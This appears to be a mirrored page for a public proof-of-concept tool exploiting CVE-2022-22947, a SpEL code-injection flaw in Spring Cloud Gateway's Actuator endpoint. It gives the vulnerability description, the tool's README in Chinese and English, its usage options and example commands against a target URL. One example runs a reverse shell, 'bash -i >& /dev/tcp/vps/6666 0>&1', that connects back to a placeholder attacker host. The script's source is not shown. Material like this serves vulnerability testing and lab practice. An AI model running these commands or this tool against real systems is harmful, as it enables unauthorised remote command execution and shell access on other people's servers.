CVE-2022-22947 PoC — VMware Spring Cloud Gateway 代码注入漏洞

Source

https://github.com/k3rwin/spring-cloud-gateway-rce

Associated Vulnerability

Title:VMware Spring Cloud Gateway 代码注入漏洞 (CVE-2022-22947)
Description:In spring cloud gateway versions prior to 3.1.1+ and 3.0.7+ , applications are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Description

spring-cloud-gateway-rce  CVE-2022-22947

Readme

# Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947）

## 1.installation

```shell
pip3 install -r requirements.txt
```

## 2.Usage

```shell
$ python3 spring-cloud-gateway-rce.py -h

   ___             __         ____    ___   ____   ____          ____   ____    ___   _  _    _____
  / __\ /\   /\   /__\       |___ \  / _ \ |___ \ |___ \        |___ \ |___ \  / _ \ | || |  |___  |
 / /    \ \ / /  /_\   _____   __) || | | |  __) |  __) | _____   __) |  __) || (_) || || |_    / /
/ /___   \ V /  //__  |_____| / __/ | |_| | / __/  / __/ |_____| / __/  / __/  \__, ||__   _|  / /
\____/    \_/   \__/         |_____| \___/ |_____||_____|       |_____||_____|   /_/    |_|   /_/


                                        CVE-2022-22947 Spring Cloud Gateway RCE
                                                                  By:K3rwin
usage: spring-cloud-gateway-rce.py [-h] [-u URL] [-c CMD] [-s SYSTEM]

Spring Cloud Gateway RCE 帮助指南

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     指定url
  -c CMD, --cmd CMD     指定执行的命令,默认执行whoami
  -s SYSTEM, --system SYSTEM
                        指定目标主机操作系统,默认linux,参数为win/linux

```

## 3.example

### ① -u 探测漏洞

```shell
python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/"
```

![image-20220313174120379](README.assets/image-20220313174120379.png)

### ② -c 指定执行命令

```shell
python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/" -c "ip add"
```

![image-20220313174205428](README.assets/image-20220313174205428.png)

### ③ 反弹shell

```shell
python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/" -c "bash -i >& /dev/tcp/vps/6666 0>&1"
```

![image-20220313175050373](README.assets/image-20220313175050373.png)

## docker靶场

[vulfocus](http://vulfocus.io/)

![image-20220313175230109](README.assets/image-20220313175230109.png)

File Snapshot


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├── [4.0K]  README.assets
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│   ├── [106K]  image-20220313174205428.png
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├── [2.0K]  README.md
├── [  48]  requirements.txt
└── [3.9K]  spring-cloud-gateway-rce.py

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